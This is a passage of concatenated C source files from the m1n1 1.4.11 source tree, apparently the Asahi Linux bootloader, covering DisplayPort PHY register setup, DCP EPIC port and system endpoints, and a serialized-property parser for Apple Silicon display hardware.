(dptx-phy[1], offset 0xa0) = 0x8 // MMIO: R.4 0x23c5000a0 (dptx-phy[1], offset 0xa0) = 0x8 // MMIO: W.4 0x23c5000a0 (dptx-phy[1], offset 0xa0) = 0x0 set32(phy->regs[1] + 0xa0, 0x8); set32(phy->regs[1] + 0xa0, 0x4); set32(phy->regs[1] + 0xa0, 0x40000); clear32(phy->regs[1] + 0xa0, 0x40000); set32(phy->regs[1] + 0xa0, 0x80000); clear32(phy->regs[1] + 0xa0, 0x80000); clear32(phy->regs[1] + 0xa0, 0x4); clear32(phy->regs[1] + 0xa0, 0x8); // MMIO: R.4 0x23c542000 (dptx-phy[0], offset 0x2000) = 0x2 // MMIO: W.4 0x23c542000 (dptx-phy[0], offset 0x2000) = 0x2 /* TODO: unclear */ set32(phy->regs[0] + 0x2000, 0x0); // MMIO: R.4 0x23c542018 (dptx-phy[0], offset 0x2018) = 0x0 // MMIO: W.4 0x23c542018 (dptx-phy[0], offset 0x2018) = 0x0 clear32(phy->regs[0] + 0x2018, 0x0); // MMIO: R.4 0x23c54100c (dptx-phy[0], offset 0x100c) = 0xf000 // MMIO: W.4 0x23c54100c (dptx-phy[0], offset 0x100c) = 0xf007 set32(phy->regs[0] + 0x100c, 0x0007); // MMIO: R.4 0x23c54100c (dptx-phy[0], offset 0x100c) = 0xf007 // MMIO: W.4 0x23c54100c (dptx-phy[0], offset 0x100c) = 0xf00f set32(phy->regs[0] + 0x100c, 0x0008); // MMIO: R.4 0x23c541014 (dptx-phy[0], offset 0x1014) = 0x38f sts_1014 = read32(phy->regs[0] + 0x1014); /* TODO: assert(sts_1014 == 0x38f); */ // MMIO: R.4 0x23c54100c (dptx-phy[0], offset 0x100c) = 0xf00f // MMIO: W.4 0x23c54100c (dptx-phy[0], offset 0x100c) = 0xf007 clear32(phy->regs[0] + 0x100c, 0x0008); // MMIO: R.4 0x23c541008 (dptx-phy[0], offset 0x1008) = 0x9 sts_1008 = read32(phy->regs[0] + 0x1008); /* TODO: assert(sts_1008 == 0x9); */ // MMIO: R.4 0x23c542200 (dptx-phy[0], offset 0x2200) = 0x2000 // MMIO: W.4 0x23c542200 (dptx-phy[0], offset 0x2200) = 0x2002 set32(phy->regs[0] + 0x2200, 0x0002); // MMIO: R.4 0x23c545010 (dptx-phy[0], offset 0x5010) = 0x18003000 // MMIO: W.4 0x23c545010 (dptx-phy[0], offset 0x5010) = 0x18003000 // MMIO: R.4 0x23c546010 (dptx-phy[0], offset 0x6010) = 0x18003000 // MMIO: W.4 0x23c546010 (dptx-phy[0], offset 0x6010) = 0x18003000 // MMIO: R.4 0x23c547010 (dptx-phy[0], offset 0x7010) = 0x18003000 // MMIO: W.4 0x23c547010 (dptx-phy[0], offset 0x7010) = 0x18003000 // MMIO: R.4 0x23c548010 (dptx-phy[0], offset 0x8010) = 0x18003000 // MMIO: W.4 0x23c548010 (dptx-phy[0], offset 0x8010) = 0x18003000 write32(phy->regs[0] + 0x8010, 0x18003000); for (u32 loff = DPTX_LANE0_OFFSET; loff < DPTX_LANE_END; loff += DPTX_LANE_STRIDE) { u32 val_l010 = read32(phy->regs[0] + loff + 0x10); write32(phy->regs[0] + loff + 0x10, val_l010); } // MMIO: R.4 0x23c544000 (dptx-phy[0], offset 0x4000) = 0x41021ac // MMIO: W.4 0x23c544000 (dptx-phy[0], offset 0x4000) = 0x51021ac set32(phy->regs[0] + 0x4000, 0x1000000); // MMIO: R.4 0x23c544000 (dptx-phy[0], offset 0x4000) = 0x51021ac // MMIO: W.4 0x23c544000 (dptx-phy[0], offset 0x4000) = 0x71021ac set32(phy->regs[0] + 0x4000, 0x2000000); // MMIO: R.4 0x23c544004 (dptx-phy[0], offset 0x4004) = 0x41 // MMIO: W.4 0x23c544004 (dptx-phy[0], offset 0x4004) = 0x49 set32(phy->regs[0] + 0x4004, 0x08); // MMIO: R.4 0x23c544000 (dptx-phy[0], offset 0x4000) = 0x71021ac // MMIO: W.4 0x23c544000 (dptx-phy[0], offset 0x4000) = 0x71021ec set32(phy->regs[0] + 0x4000, 0x0000040); // MMIO: R.4 0x23c544004 (dptx-phy[0], offset 0x4004) = 0x49 // MMIO: W.4 0x23c544004 (dptx-phy[0], offset 0x4004) = 0x48 clear32(phy->regs[0] + 0x4004, 0x01); return 0; } u32 dptx_phy_dcp_output(dptx_phy_t *phy) { switch (phy->type) { case DPTX_PHY_T8112: return 5; case DPTX_PHY_T602X: return 4; default: return 5; } } dptx_phy_t *dptx_phy_init(const char *phy_node, u32 dcp_index) { enum dptx_type type; int adt_phy_path[8]; int node = adt_path_offset_trace(adt, phy_node, adt_phy_path); if (node < 0) { printf("DPtx-phy: Error getting phy node %s\n", phy_node); return NULL; } if (adt_is_compatible(adt, node, "dptx-phy,t8112")) type = DPTX_PHY_T8112; else if (adt_is_compatible(adt, node, "dptx-phy,t602x")) type = DPTX_PHY_T602X; else { printf("DPtx-phy: dptx-phy node %s is not compatible\n", phy_node); return NULL; } dptx_phy_t *phy = calloc(sizeof *phy, 1); if (!phy) return NULL; phy->type = type; phy->dcp_index = dcp_index; if (adt_get_reg(adt, adt_phy_path, "reg", 0, &phy->regs[0], NULL) < 0) { printf("DPtx-phy: failed to get %s.reg[0]\n", phy_node); goto out_err; } if (adt_get_reg(adt, adt_phy_path, "reg", 1, &phy->regs[1], NULL) < 0) { printf("DPtx-phy: failed to get %s.reg[1]\n", phy_node); goto out_err; } return phy; out_err: free(phy); return NULL; } void dptx_phy_shutdown(dptx_phy_t *phy) { free(phy); } m1n1-1.4.11/src/dcp/dptx_phy.h000066400000000000000000000007511453754430200157310ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef DCP_DPTX_PHY_H #define DCP_DPTX_PHY_H #include "../types.h" typedef struct dptx_phy dptx_phy_t; int dptx_phy_activate(dptx_phy_t *phy); int dptx_phy_set_active_lane_count(dptx_phy_t *phy, u32 num_lanes); int dptx_phy_set_link_rate(dptx_phy_t *phy, u32 link_rate); u32 dptx_phy_dcp_output(dptx_phy_t *phy); dptx_phy_t *dptx_phy_init(const char *phy_path, u32 dcp_index); void dptx_phy_shutdown(dptx_phy_t *phy); #endif /* DCP_DPTX_PHY_H */ m1n1-1.4.11/src/dcp/dptx_port_ep.c000066400000000000000000000366411453754430200166030ustar00rootroot00000000000000// SPDX-License-Identifier: GPL-2.0-only OR MIT /* Copyright 2022 Sven Peter */ #include #include #include "dptx_port_ep.h" #include "dptx_phy.h" #include "malloc.h" #include "../afk.h" #include "../dcp.h" #include "../types.h" #include "../utils.h" #define DCP_DPTX_PORT_ENDPOINT 0x2a #define TXBUF_LEN 0x4000 #define RXBUF_LEN 0x4000 struct dcpdptx_connection_cmd { u32 unk; u32 target; } __attribute__((packed)); struct dcpdptx_hotplug_cmd { u8 _pad0[16]; u32 unk; } __attribute__((packed)); struct dptxport_apcall_link_rate { u32 retcode; u8 _unk0[12]; u32 link_rate; u8 _unk1[12]; } __attribute__((packed)); struct dptxport_apcall_lane_count { u32 retcode; u8 _unk0[12]; u64 lane_count; u8 _unk1[8]; } __attribute__((packed)); struct dptxport_apcall_set_active_lane_count { u32 retcode; u8 _unk0[12]; u64 lane_count; u8 _unk1[8]; } __attribute__((packed)); struct dptxport_apcall_get_support { u32 retcode; u8 _unk0[12]; u32 supported; u8 _unk1[12]; } __attribute__((packed)); struct dptxport_apcall_max_drive_settings { u32 retcode; u8 _unk0[12]; u32 max_drive_settings[2]; u8 _unk1[8]; } __attribute__((packed)); struct dptxport_apcall_set_tiled { u32 retcode; }; struct epic_service_call { u8 _pad0[2]; u16 group; u32 command; u32 data_len; #define EPIC_SERVICE_CALL_MAGIC 0x69706378 u32 magic; u8 _pad1[48]; } __attribute__((packed)); typedef struct dptx_port { bool enabled; u32 unit; afk_epic_service_t *service; dptx_phy_t *phy; u32 link_rate, pending_link_rate; } dptx_port_t; typedef struct dcp_dptx_if { afk_epic_ep_t *epic; dcp_dev_t *dcp; dptx_phy_t *phy; struct dptx_port port[2]; } dcp_dptx_if_t; static int afk_service_call(afk_epic_service_t *service, u16 group, u32 command, const void *data, size_t data_len, size_t data_pad, void *output, size_t output_len, size_t output_pad) { struct epic_service_call *call; void *bfr; size_t bfr_len = max(data_len + data_pad, output_len + output_pad) + sizeof(*call); int ret; u32 retlen; size_t rx_len = bfr_len; bfr = calloc(bfr_len, 1); if (!bfr) return -1; call = bfr; call->group = group; call->command = command; call->data_len = data_len + data_pad; call->magic = EPIC_SERVICE_CALL_MAGIC; memcpy(bfr + sizeof(*call), data, data_len); ret = afk_epic_command(service->epic, service->channel, SUBTYPE_STD_SERVICE, bfr, bfr_len, bfr, &rx_len); if (ret) goto out; if (call->magic != EPIC_SERVICE_CALL_MAGIC || call->group != group || call->command != command) { ret = -1; goto out; } retlen = call->data_len; if (output_len < retlen) retlen = output_len; if (output && output_len) { memset(output, 0, output_len); memcpy(output, bfr + sizeof(*call), retlen); } out: free(bfr); return ret; } int dptxport_validate_connection(afk_epic_service_t *service, u8 core, u8 atc, u8 die) { struct dcpdptx_connection_cmd cmd, resp; int ret; u32 target = FIELD_PREP(DCPDPTX_REMOTE_PORT_CORE, core) | FIELD_PREP(DCPDPTX_REMOTE_PORT_DFP, atc) | FIELD_PREP(DCPDPTX_REMOTE_PORT_DIE, die) | DCPDPTX_REMOTE_PORT_CONNECTED; cmd.target = target; cmd.unk = 0x100; ret = afk_service_call(service, 0, 12, &cmd, sizeof(cmd), 40, &resp, sizeof(resp), 40); if (ret) return ret; if (resp.target != target) return -1; if (resp.unk != 0x100) return -1; return 0; } int dptxport_connect(afk_epic_service_t *service, u8 core, u8 atc, u8 die) { struct dcpdptx_connection_cmd cmd = {0}, resp = {0}; int ret; u32 target = FIELD_PREP(DCPDPTX_REMOTE_PORT_CORE, core) | FIELD_PREP(DCPDPTX_REMOTE_PORT_DFP, atc) | FIELD_PREP(DCPDPTX_REMOTE_PORT_DIE, die) | DCPDPTX_REMOTE_PORT_CONNECTED; cmd.target = target; // cmd.unk = 0x100; ret = afk_service_call(service, 0, 11, &cmd, sizeof(cmd), 24, &resp, sizeof(resp), 24); if (ret) return ret; if (resp.target != target) return -1; if (resp.unk != 0x100) return -1; return 0; } int dptxport_request_display(afk_epic_service_t *service) { return afk_service_call(service, 0, 6, NULL, 0, 16, NULL, 0, 16); } int dptxport_release_display(afk_epic_service_t *service) { return afk_service_call(service, 0, 7, NULL, 0, 16, NULL, 0, 16); } int dptxport_set_hpd(afk_epic_service_t *service, bool hpd) { struct dcpdptx_hotplug_cmd cmd, resp; int ret; memset(&cmd, 0, sizeof(cmd)); if (hpd) cmd.unk = 1; ret = afk_service_call(service, 8, 8, &cmd, sizeof(cmd), 12, &resp, sizeof(resp), 12); if (ret) return ret; if (resp.unk != 1) return -1; return 0; } static int dptxport_call_get_max_drive_settings(afk_epic_service_t *service, void *reply_, size_t reply_size) { UNUSED(service); struct dptxport_apcall_max_drive_settings *reply = reply_; if (reply_size < sizeof(*reply)) return -1; reply->retcode = 0; reply->max_drive_settings[0] = 0x3; reply->max_drive_settings[1] = 0x3; return 0; } static int dptxport_call_get_max_link_rate(afk_epic_service_t *service, void *reply_, size_t reply_size) { UNUSED(service); struct dptxport_apcall_link_rate *reply = reply_; if (reply_size < sizeof(*reply)) return -1; reply->retcode = 0; reply->link_rate = LINK_RATE_HBR3; return 0; } static int dptxport_call_get_max_lane_count(afk_epic_service_t *service, void *reply_, size_t reply_size) { UNUSED(service); struct dptxport_apcall_lane_count *reply = reply_; if (reply_size < sizeof(*reply)) return -1; reply->retcode = 0; reply->lane_count = 4; return 0; } static int dptxport_call_set_active_lane_count(afk_epic_service_t *service, const void *data, size_t data_size, void *reply_, size_t reply_size) { struct dptx_port *port = service->cookie; const struct dptxport_apcall_set_active_lane_count *request = data; struct dptxport_apcall_set_active_lane_count *reply = reply_; int ret = 0; int retcode = 0; if (reply_size < sizeof(*reply)) return -1; if (data_size < sizeof(*request)) return -1; u64 lane_count = request->lane_count; switch (lane_count) { case 0 ... 2: case 4: ret = dptx_phy_set_active_lane_count(port->phy, lane_count); break; default: printf("DPTX-PORT: set_active_lane_count: invalid lane count:%lu\n", lane_count); retcode = 1; lane_count = 0; break; } reply->retcode = retcode; reply->lane_count = lane_count; return ret; } static int dptxport_call_get_link_rate(afk_epic_service_t *service, void *reply_, size_t reply_size) { struct dptx_port *port = service->cookie; struct dptxport_apcall_link_rate *reply = reply_; if (reply_size < sizeof(*reply)) return -1; reply->retcode = 0; reply->link_rate = port->link_rate; return 0; } static int dptxport_call_will_change_link_config(afk_epic_service_t *service) { UNUSED(service); return 0; } static int dptxport_call_did_change_link_config(afk_epic_service_t *service) { UNUSED(service); // struct dptx_port *dptx = service->intf; // int ret = 0; mdelay(100); // dispext0,0 -> atcph1,dpphy // mux_control_select(dptx->mux, 0); return 0; } static int dptxport_call_set_link_rate(afk_epic_service_t *service, const void *data, size_t data_size, void *reply_, size_t reply_size) { dptx_port_t *port = service->cookie; const struct dptxport_apcall_link_rate *request = data; struct dptxport_apcall_link_rate *reply = reply_; u32 link_rate, phy_link_rate; bool phy_set_rate = false; if (reply_size < sizeof(*reply)) return -1; if (data_size < sizeof(*request)) return -1; link_rate = request->link_rate; switch (link_rate) { case LINK_RATE_RBR: phy_link_rate = 1620; phy_set_rate = true; break; case LINK_RATE_HBR: phy_link_rate = 2700; phy_set_rate = true; break; case LINK_RATE_HBR2: phy_link_rate = 5400; phy_set_rate = true; break; case LINK_RATE_HBR3: phy_link_rate = 8100; phy_set_rate = true; break; case 0: phy_link_rate = 0; phy_set_rate = true; break; default: printf("DPTXPort: Unsupported link rate 0x%x requested\n", link_rate); link_rate = 0; phy_set_rate = false; break; } if (phy_set_rate) { dptx_phy_set_link_rate(port->phy, phy_link_rate); port->link_rate = port->pending_link_rate = link_rate; } // dptx->pending_link_rate = link_rate; reply->retcode = 0; reply->link_rate = link_rate; return 0; } static int dptxport_call_get_supports_hpd(afk_epic_service_t *service, void *reply_, size_t reply_size) { UNUSED(service); struct dptxport_apcall_get_support *reply = reply_; if (reply_size < sizeof(*reply)) return -1; reply->retcode = 0; reply->supported = 0; return 0; } static int dptxport_call_get_supports_downspread(afk_epic_service_t *service, void *reply_, size_t reply_size) { UNUSED(service); struct dptxport_apcall_get_support *reply = reply_; if (reply_size < sizeof(*reply)) return -1; reply->retcode = 0; reply->supported = 0; return 0; } static int dptxport_call_set_tiled_display_hint(afk_epic_service_t *service, void *reply_, size_t reply_size) { UNUSED(service); struct dptxport_apcall_set_tiled *reply = reply_; if (reply_size < sizeof(*reply)) return -1; reply->retcode = 1; return 0; } static int dptxport_call(afk_epic_service_t *service, u32 idx, const void *data, size_t data_size, void *reply, size_t reply_size) { dcp_dptx_if_t *dptx = (dcp_dptx_if_t *)service->intf; switch (idx) { case DPTX_APCALL_WILL_CHANGE_LINKG_CONFIG: return dptxport_call_will_change_link_config(service); case DPTX_APCALL_DID_CHANGE_LINK_CONFIG: return dptxport_call_did_change_link_config(service); case DPTX_APCALL_GET_MAX_LINK_RATE: return dptxport_call_get_max_link_rate(service, reply, reply_size); case DPTX_APCALL_GET_LINK_RATE: return dptxport_call_get_link_rate(service, reply, reply_size); case DPTX_APCALL_SET_LINK_RATE: return dptxport_call_set_link_rate(service, data, data_size, reply, reply_size); case DPTX_APCALL_GET_MAX_LANE_COUNT: return dptxport_call_get_max_lane_count(service, reply, reply_size); case DPTX_APCALL_SET_ACTIVE_LANE_COUNT: return dptxport_call_set_active_lane_count(service, data, data_size, reply, reply_size); case DPTX_APCALL_GET_SUPPORTS_HPD: return dptxport_call_get_supports_hpd(service, reply, reply_size); case DPTX_APCALL_GET_SUPPORTS_DOWN_SPREAD: return dptxport_call_get_supports_downspread(service, reply, reply_size); case DPTX_APCALL_GET_MAX_DRIVE_SETTINGS: return dptxport_call_get_max_drive_settings(service, reply, reply_size); case DPTX_APCALL_SET_TILED_DISPLAY_HINTS: memcpy(reply, data, min(reply_size, data_size)); return dptxport_call_set_tiled_display_hint(service, reply, reply_size); case DPTX_APCALL_ACTIVATE: dptx_phy_activate(dptx->phy); memcpy(reply, data, min(reply_size, data_size)); if (reply_size > 4) memset(reply, 0, 4); return 0; default: /* just try to ACK and hope for the best... */ dprintf("DPTXPort: unhandled call %d\n", idx); // fallthrough /* we can silently ignore and just ACK these calls */ case DPTX_APCALL_DEACTIVATE: case DPTX_APCALL_SET_DRIVE_SETTINGS: case DPTX_APCALL_GET_DRIVE_SETTINGS: memcpy(reply, data, min(reply_size, data_size)); if (reply_size > 4) memset(reply, 0, 4); return 0; } } static void dptxport_init(afk_epic_service_t *service, const char *name, const char *eclass, s64 unit) { dcp_dptx_if_t *dptx = (dcp_dptx_if_t *)service->intf; if (strcmp(name, "dcpdptx-port-epic")) return; if (strcmp(eclass, "AppleDCPDPTXRemotePort")) return; switch (unit) { case 0: case 1: if (dptx->port[unit].enabled) { printf("DPTXPort: unit %ld already exists\n", unit); return; } dptx->port[unit].unit = unit; dptx->port[unit].service = service; dptx->port[unit].enabled = true; service->cookie = (void *)&dptx->port[unit]; break; default: printf("DPTXPort: invalid unit %ld\n", unit); return; } } static const afk_epic_service_ops_t dcp_dptx_ops[] = { { .name = "AppleDCPDPTXRemotePort", .init = dptxport_init, .call = dptxport_call, }, {}, }; int dcp_dptx_connect(dcp_dptx_if_t *dptx, dptx_phy_t *phy, u32 die, u32 port) { if (port > 1) return -1; if (!dptx->port[port].service) { printf("DPTXPort: port %u not initialized. enabled:%d\n", port, dptx->port[port].enabled); return -1; } dptx->port[port].phy = dptx->phy = phy; dptxport_connect(dptx->port[port].service, 0, dptx_phy_dcp_output(phy), die); dptxport_request_display(dptx->port[port].service); return 0; } int dcp_dptx_hpd(dcp_dptx_if_t *dptx, u32 port, bool hpd) { if (!dptx->port[port].service) return -1; dptxport_set_hpd(dptx->port[port].service, hpd); return 0; } int dcp_dptx_disconnect(dcp_dptx_if_t *dptx, u32 port) { dptxport_release_display(dptx->port[port].service); dptxport_set_hpd(dptx->port[port].service, false); return 0; } dcp_dptx_if_t *dcp_dptx_init(dcp_dev_t *dcp, u32 num_dptxports) { dcp_dptx_if_t *dptx = calloc(1, sizeof(dcp_dptx_if_t)); if (!dptx) return NULL; dptx->dcp = dcp; dptx->epic = afk_epic_start_ep(dcp->afk, DCP_DPTX_PORT_ENDPOINT, dcp_dptx_ops, true); if (!dptx->epic) { printf("dcp-dptx: failed to initialize EPIC\n"); goto err_free; } int err = afk_epic_start_interface(dptx->epic, dptx, num_dptxports, TXBUF_LEN, RXBUF_LEN); if (err < 0) { printf("dcp-dptx: failed to initialize DPTXRemotePort interface\n"); goto err_shutdown; } return dptx; err_shutdown: afk_epic_shutdown_ep(dptx->epic); err_free: free(dptx); return NULL; } int dcp_dptx_shutdown(dcp_dptx_if_t *dptx) { if (dptx) { afk_epic_shutdown_ep(dptx->epic); free(dptx); } return 0; } m1n1-1.4.11/src/dcp/dptx_port_ep.h000066400000000000000000000040211453754430200165730ustar00rootroot00000000000000// SPDX-License-Identifier: GPL-2.0-only OR MIT /* Copyright 2022 Sven Peter */ #ifndef __APPLE_DCP_DPTX_PORT_EP_H__ #define __APPLE_DCP_DPTX_PORT_EP_H__ #include "../types.h" typedef struct dcp_dev dcp_dev_t; typedef struct dptx_phy dptx_phy_t; typedef struct dcp_dptx_if dcp_dptx_if_t; enum dptx_apcall { DPTX_APCALL_ACTIVATE = 0, DPTX_APCALL_DEACTIVATE = 1, DPTX_APCALL_GET_MAX_DRIVE_SETTINGS = 2, DPTX_APCALL_SET_DRIVE_SETTINGS = 3, DPTX_APCALL_GET_DRIVE_SETTINGS = 4, DPTX_APCALL_WILL_CHANGE_LINKG_CONFIG = 5, DPTX_APCALL_DID_CHANGE_LINK_CONFIG = 6, DPTX_APCALL_GET_MAX_LINK_RATE = 7, DPTX_APCALL_GET_LINK_RATE = 8, DPTX_APCALL_SET_LINK_RATE = 9, DPTX_APCALL_GET_MAX_LANE_COUNT = 10, DPTX_APCALL_GET_ACTIVE_LANE_COUNT = 11, DPTX_APCALL_SET_ACTIVE_LANE_COUNT = 12, DPTX_APCALL_GET_SUPPORTS_DOWN_SPREAD = 13, DPTX_APCALL_GET_DOWN_SPREAD = 14, DPTX_APCALL_SET_DOWN_SPREAD = 15, DPTX_APCALL_GET_SUPPORTS_LANE_MAPPING = 16, DPTX_APCALL_SET_LANE_MAP = 17, DPTX_APCALL_GET_SUPPORTS_HPD = 18, DPTX_APCALL_FORCE_HOTPLUG_DETECT = 19, DPTX_APCALL_INACTIVE_SINK_DETECTED = 20, DPTX_APCALL_SET_TILED_DISPLAY_HINTS = 21, DPTX_APCALL_DEVICE_NOT_RESPONDING = 22, DPTX_APCALL_DEVICE_BUSY_TIMEOUT = 23, DPTX_APCALL_DEVICE_NOT_STARTED = 24, }; #define DCPDPTX_REMOTE_PORT_CORE GENMASK(3, 0) #define DCPDPTX_REMOTE_PORT_DFP GENMASK(7, 4) #define DCPDPTX_REMOTE_PORT_DIE GENMASK(11, 8) #define DCPDPTX_REMOTE_PORT_CONNECTED BIT(15) enum dptx_link_rate { LINK_RATE_RBR = 0x06, LINK_RATE_HBR = 0x0a, LINK_RATE_HBR2 = 0x14, LINK_RATE_HBR3 = 0x1e, }; dcp_dptx_if_t *dcp_dptx_init(dcp_dev_t *dcp, u32 num_dptxports); int dcp_dptx_shutdown(dcp_dptx_if_t *dptx); int dcp_dptx_connect(dcp_dptx_if_t *dptx, dptx_phy_t *phy, u32 die, u32 port); int dcp_dptx_hpd(dcp_dptx_if_t *dptx, u32 port, bool hpd); int dcp_dptx_disconnect(dcp_dptx_if_t *dptx, u32 port); int dcp_dptx_hpd(dcp_dptx_if_t *dptx, u32 port, bool hpd); #endif m1n1-1.4.11/src/dcp/parser.c000066400000000000000000000132071453754430200153610ustar00rootroot00000000000000// SPDX-License-Identifier: GPL-2.0-only OR MIT /* Copyright 2021 Alyssa Rosenzweig */ #include "malloc.h" #include "parser.h" #include "string.h" #include "../utils.h" #define DCP_PARSE_HEADER 0xd3 enum dcp_parse_type { DCP_TYPE_DICTIONARY = 1, DCP_TYPE_ARRAY = 2, DCP_TYPE_INT64 = 4, DCP_TYPE_STRING = 9, DCP_TYPE_BLOB = 10, DCP_TYPE_BOOL = 11 }; struct dcp_parse_tag { unsigned int size : 24; enum dcp_parse_type type : 5; unsigned int padding : 2; bool last : 1; } __packed; static void *parse_bytes(struct dcp_parse_ctx *ctx, size_t count) { void *ptr = ctx->blob + ctx->pos; if (ctx->pos + count > ctx->len) return NULL; ctx->pos += count; return ptr; } static u32 *parse_u32(struct dcp_parse_ctx *ctx) { return parse_bytes(ctx, sizeof(u32)); } static struct dcp_parse_tag *parse_tag(struct dcp_parse_ctx *ctx) { struct dcp_parse_tag *tag; /* Align to 32-bits */ ctx->pos = ALIGN_UP(ctx->pos, 4); tag = parse_bytes(ctx, sizeof(struct dcp_parse_tag)); if (!tag) return NULL; if (tag->padding) return NULL; return tag; } static struct dcp_parse_tag *parse_tag_of_type(struct dcp_parse_ctx *ctx, enum dcp_parse_type type) { struct dcp_parse_tag *tag = parse_tag(ctx); if (!tag) return NULL; if (tag->type != type) return NULL; return tag; } static int skip(struct dcp_parse_ctx *handle) { struct dcp_parse_tag *tag = parse_tag(handle); int ret = 0; int i; if (!tag) return -1; switch (tag->type) { case DCP_TYPE_DICTIONARY: for (i = 0; i < tag->size; ++i) { ret |= skip(handle); /* key */ ret |= skip(handle); /* value */ } return ret; case DCP_TYPE_ARRAY: for (i = 0; i < tag->size; ++i) ret |= skip(handle); return ret; case DCP_TYPE_INT64: handle->pos += sizeof(s64); return 0; case DCP_TYPE_STRING: case DCP_TYPE_BLOB: handle->pos += tag->size; return 0; case DCP_TYPE_BOOL: return 0; default: return -1; } } /* Caller must free the result */ static char *parse_string(struct dcp_parse_ctx *handle) { struct dcp_parse_tag *tag = parse_tag_of_type(handle, DCP_TYPE_STRING); const char *in; char *out; if (!tag) return NULL; in = parse_bytes(handle, tag->size); if (!in) return NULL; out = calloc(tag->size + 1, 1); memcpy(out, in, tag->size); out[tag->size] = '\0'; return out; } static int parse_int(struct dcp_parse_ctx *handle, s64 *value) { void *tag = parse_tag_of_type(handle, DCP_TYPE_INT64); s64 *in; if (!tag) return -1; in = parse_bytes(handle, sizeof(s64)); if (!in) return -1; memcpy(value, in, sizeof(*value)); return 0; } // currently unused #if 0 static int parse_bool(struct dcp_parse_ctx *handle, bool *b) { struct dcp_parse_tag *tag = parse_tag_of_type(handle, DCP_TYPE_BOOL); if (!tag) return -1; *b = !!tag->size; return 0; } #endif struct iterator { struct dcp_parse_ctx *handle; u32 idx, len; }; static int iterator_begin(struct dcp_parse_ctx *handle, struct iterator *it, bool dict) { struct dcp_parse_tag *tag; enum dcp_parse_type type = dict ? DCP_TYPE_DICTIONARY : DCP_TYPE_ARRAY; *it = (struct iterator){.handle = handle, .idx = 0}; tag = parse_tag_of_type(it->handle, type); if (!tag) return -1; it->len = tag->size; return 0; } #define dcp_parse_foreach_in_array(handle, it) \ for (iterator_begin(handle, &it, false); it.idx < it.len; ++it.idx) #define dcp_parse_foreach_in_dict(handle, it) \ for (iterator_begin(handle, &it, true); it.idx < it.len; ++it.idx) int parse(void *blob, size_t size, struct dcp_parse_ctx *ctx) { u32 *header; *ctx = (struct dcp_parse_ctx){ .blob = blob, .len = size, .pos = 0, }; header = parse_u32(ctx); if (!header) return -1; if (*header != DCP_PARSE_HEADER) return -1; return 0; } int parse_epic_service_init(struct dcp_parse_ctx *handle, char **name, char **class, s64 *unit) { int ret = 0; struct iterator it; bool parsed_unit = false; bool parsed_name = false; bool parsed_class = false; *name = NULL; *class = NULL; dcp_parse_foreach_in_dict(handle, it) { char *key = parse_string(it.handle); if (!key) { ret = -1; break; } if (!strcmp(key, "EPICName")) { *name = parse_string(it.handle); if (!*name) ret = -1; else parsed_name = true; } else if (!strcmp(key, "EPICProviderClass")) { *class = parse_string(it.handle); if (!*class) ret = -1; else parsed_class = true; } else if (!strcmp(key, "EPICUnit")) { ret = parse_int(it.handle, unit); if (!ret) parsed_unit = true; } else { skip(it.handle); } free(key); if (ret) break; } if (!parsed_unit || !parsed_name || !parsed_class) ret = -1; if (ret) { if (*name) { free(*name); *name = NULL; } if (*class) { free(*class); *class = NULL; } } return ret; } m1n1-1.4.11/src/dcp/parser.h000066400000000000000000000006531453754430200153670ustar00rootroot00000000000000// SPDX-License-Identifier: GPL-2.0-only OR MIT /* Copyright 2021 Alyssa Rosenzweig */ #ifndef __APPLE_DCP_PARSER_H__ #define __APPLE_DCP_PARSER_H__ #include "../types.h" struct dcp_parse_ctx { void *blob; u32 pos, len; }; int parse(void *blob, size_t size, struct dcp_parse_ctx *ctx); int parse_epic_service_init(struct dcp_parse_ctx *handle, char **name, char **class, s64 *unit); #endif m1n1-1.4.11/src/dcp/system_ep.c000066400000000000000000000075021453754430200160760ustar00rootroot00000000000000 // SPDX-License-Identifier: GPL-2.0-only OR MIT /* Copyright 2022 Sven Peter */ #include #include #include "system_ep.h" #include "malloc.h" #include "parser.h" #include "../afk.h" #include "../dcp.h" #include "../types.h" #include "../utils.h" #define DCP_SYSTEM_ENDPOINT 0x20 #define DCP_SYSTEM_NUM_SERVICES 2 #define TXBUF_LEN 0x4000 #define RXBUF_LEN 0x4000 typedef struct dcp_system_if { afk_epic_ep_t *epic; dcp_dev_t *dcp; afk_epic_service_t *sys_service; afk_epic_service_t *powerlog; } dcp_system_if_t; static void system_service_init(afk_epic_service_t *service, const char *name, const char *eclass, s64 unit) { UNUSED(name); UNUSED(unit); dcp_system_if_t *system = (dcp_system_if_t *)service->intf; if (strcmp(eclass, "system") == 0) { if (system->sys_service) { printf("SYSTEM[%p]: system services already started!\n", system); return; } system->sys_service = service; service->cookie = system; } } static void powerlog_service_init(afk_epic_service_t *service, const char *name, const char *eclass, s64 unit) { UNUSED(name); UNUSED(unit); dcp_system_if_t *system = (dcp_system_if_t *)service->intf; if (strcmp(eclass, "powerlog-service") == 0) { if (system->powerlog) { printf("SYSTEM[%p]: powerlog service already started!\n", system); return; } system->powerlog = service; service->cookie = system; } } struct OSSerializedInt { u32 code; // constant little endian 0xd3 u32 tag; // 24 bit size in bits, 8 bit type (constant 4 for integers) u64 value; } PACKED; int dcp_system_set_property_u64(dcp_system_if_t *system, const char *name, u64 value) { size_t name_len = strlen(name); u32 aligned_len = ALIGN_UP(name_len, 4); struct OSSerializedInt val = { .code = 0xd3, .tag = 0x80000000 | (4 << 24) | 64, .value = value, }; size_t bfr_len = sizeof(aligned_len) + aligned_len + sizeof(val); u8 *bfr = calloc(1, bfr_len); if (!bfr) return -1; memcpy(bfr, &aligned_len, sizeof(aligned_len)); memcpy(bfr + sizeof(aligned_len), name, name_len); memcpy(bfr + sizeof(aligned_len) + aligned_len, &val, sizeof(val)); afk_epic_service_t *service = system->sys_service; if (!service) { free(bfr); printf("SYSTEM: sys_service-service not started\n"); return -1; } int ret = afk_epic_command(service->epic, service->channel, 0x43, bfr, bfr_len, NULL, NULL); free(bfr); return ret; } static const afk_epic_service_ops_t dcp_system_ops[] = { { .name = "system", .init = system_service_init, }, { .name = "powerlog-service", .init = powerlog_service_init, }, {}, }; dcp_system_if_t *dcp_system_init(dcp_dev_t *dcp) { dcp_system_if_t *system = calloc(1, sizeof(dcp_system_if_t)); if (!system) return NULL; system->dcp = dcp; system->epic = afk_epic_start_ep(dcp->afk, DCP_SYSTEM_ENDPOINT, dcp_system_ops, true); if (!system->epic) { // printf("system: failed to initialize EPIC\n"); goto err_free; } int err = afk_epic_start_interface(system->epic, system, DCP_SYSTEM_NUM_SERVICES, TXBUF_LEN, RXBUF_LEN); if (err < 0 